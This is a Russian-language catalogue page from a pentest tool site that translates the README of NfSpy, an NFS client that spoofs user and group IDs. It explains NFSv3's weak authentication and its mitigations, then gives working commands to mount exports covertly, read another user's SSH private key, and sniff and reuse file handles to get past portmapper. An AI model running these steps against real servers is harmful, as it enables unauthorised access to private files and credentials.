Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
NfSpy — ID-spoofing NFS client | Kitploit
Инструменты/GitHubGitHub/bonsaiviking/nfspy
Privilege EscalationExploitationInformation GatheringNetwork SecurityPenetration TestingAuthenticationRed Teaming
GitHubbonsaiviking/nfspy

NfSpy

ID-spoofing NFS client

Репозиторий
298566 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

NfSpy — NFS-клиент для подмены идентификаторов (ID-spoofing)

от Daniel Miller

NfSpy — это библиотека Python для автоматизации подмены учётных данных NFS при монтировании NFS-ресурса. В состав входят две клиентские программы:

  • nfspy использует библиотеку Filesystem in Userspace (FUSE) для монтирования NFS-ресурса в Linux. Это позволяет использовать любые обычные программы поиска и обработки файлов, такие как grep и find, для изучения NFS-экспорта.

  • nfspysh — это интерактивная оболочка, похожая на ftp, для изучения NFS-экспортов. Для её работы не требуется библиотека FUSE, поэтому она может работать на платформах, отличных от Linux.

Используемая уязвимость

NFS до версии 4 полагается на доверительные отношения между хостами для аутентификации. Сервер NFS доверяет любым клиентским машинам аутентифицировать пользователей и назначать те же идентификаторы пользователей (UID), которые использует общая файловая система. Это работает, например, в доменах NIS, NIS+ и LDAP, но только если вы уверены, что клиентская машина не скомпрометирована и не подделывает свою идентичность. Это связано с тем, что единственная аутентификация в протоколе NFS — это передача UID и GID (идентификатора группы). Существует несколько способов повысить безопасность NFS, но многие из них являются неполными решениями, и даже при использовании всех трёх перечисленных здесь мер всё ещё может быть возможно обойти эти меры безопасности.

Squash root

Сервер или ресурс («экспорт» в терминологии NFS) может быть настроен на root_squash, что означает, что любые запросы, поступающие с утверждением, что они имеют UID или GID 0 (root), будут обрабатываться как пользователь nobody или его эквивалент в системе. Это не мешает злоумышленнику подделывать любые другие комбинации UID/GID, но защищает наиболее конфиденциальную информацию и конфигурации на экспорте.

nfs_portmon

Ещё одной настройкой, которую можно включить, является nfs_portmon, которая отклоняет запросы, поступающие с портов источника вне диапазона 513-1024. Поскольку только root (обычно) может выделять эти порты, это предотвращает возможность обычного пользователя на доверенной машине написать и использовать собственный NFS-клиент, подделывающий UID/GID. Это никак не мешает недобросовестному хосту, пользователю с правами su или скомпрометированной на уровне root машине сделать то же самое.

Ограничения экспорта

Ресурсы/экспорты могут быть ограничены так, чтобы только определённые машины могли получить к ним доступ. Эти списки контроля доступа могут состоять из:

  • IP-адреса (например, 192.168.1.34)
  • IP-префиксы (например, @192.168.1)
  • имена хостов (например, server1.mydom.nis)
  • списки хостов (например, @trusted_hosts)
  • «everyone»

Наилучшей конфигурацией было бы использование списка хостов, поскольку запрос к демону NFS вернёт только имя списка, а не содержащиеся в нём адреса или имена. Следующими по надёжности идут IP-адреса или имена хостов, так как их сложнее подделать. IP-префиксы и «everyone» являются признаками небезопасности, поскольку практически нет ограничений на то, какие адреса могут подключаться.

Использование NfSpy

Список опций можно посмотреть, выполнив

root@kitploit:~
nfspy --help

Пример

Есть NFS-сервер на 192.168.1.124.

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

Монтируем ресурс. Использование sudo позволяет привязаться к привилегированному порту, а опция allow_other даёт возможность любому пользователю использовать файловую систему. Другая новая опция — «hide», которая сразу же «отмонтирует» ресурс на сервере, но сохраняет полученный файловый дескриптор. Это скрывает ваше присутствие от тех, кто использует showmount -a.

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

Наслаждайтесь новообретённой свободой!

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

Чтобы отмонтировать, используйте fusermount:

root@kitploit:~
$ sudo fusermount -u /mnt

Расширенный пример

Есть NFS-сервер на 192.168.1.124. Portmap заблокирован, поэтому вы не можете получить список ресурсов, но вы можете перехватить сетевой трафик.

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

Теперь используйте опции монтирования dirhandle и getroot, чтобы избежать использования демона mount, и опцию nfsport, чтобы избежать использования portmapper, поднимаясь по дереву каталогов к корню экспорта.

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

Обратите внимание, что мы не указали путь для монтирования, так как нам известен только файловый дескриптор NFS. Чтобы это сработало, дескриптор должен указывать на каталог, а не на файл, и нужно действовать быстро, иначе дескриптор станет недействительным.

Программа tshark является частью проекта Wireshark. Распространённая программа tcpdump также умеет декодировать файловые дескрипторы NFS с помощью опции -u:

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

Эти файловые дескрипторы представляют собой 4-байтовые значения, разделённые двоеточиями, поэтому вам придётся самостоятельно дополнить их нулями; NfSpy просто удаляет двоеточия, что неправильно.

Использование nfspysh

nfspysh принимает тот же базовый набор опций в том же формате, что и nfspy, поэтому приведённое выше руководство должно работать. Список команд можно посмотреть с помощью команды «help».

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

ОШИБКИ (BUGS)

  • Доступ на запись находится в стадии бета-тестирования. Он работал в моих тестах на нескольких системах, но требует дополнительного тестирования. По этой причине NfSpy по умолчанию монтирует в режиме ro. Укажите опцию монтирования rw, чтобы изменить это. (nfspysh не имеет режима только для чтения. Будьте осторожны!)

  • NfSpy не работает со стандартными сервисами lockd и statd, что может вызвать проблемы при записи в файлы. Однако для режима только для чтения и большинства неблаговидных целей, для которых он предназначен, это не должно быть проблемой.

  • В настоящее время NfSpy поддерживает только NFSv3. Будущие версии могут интеллектуально выбирать версию NFS.

Скачать инструмент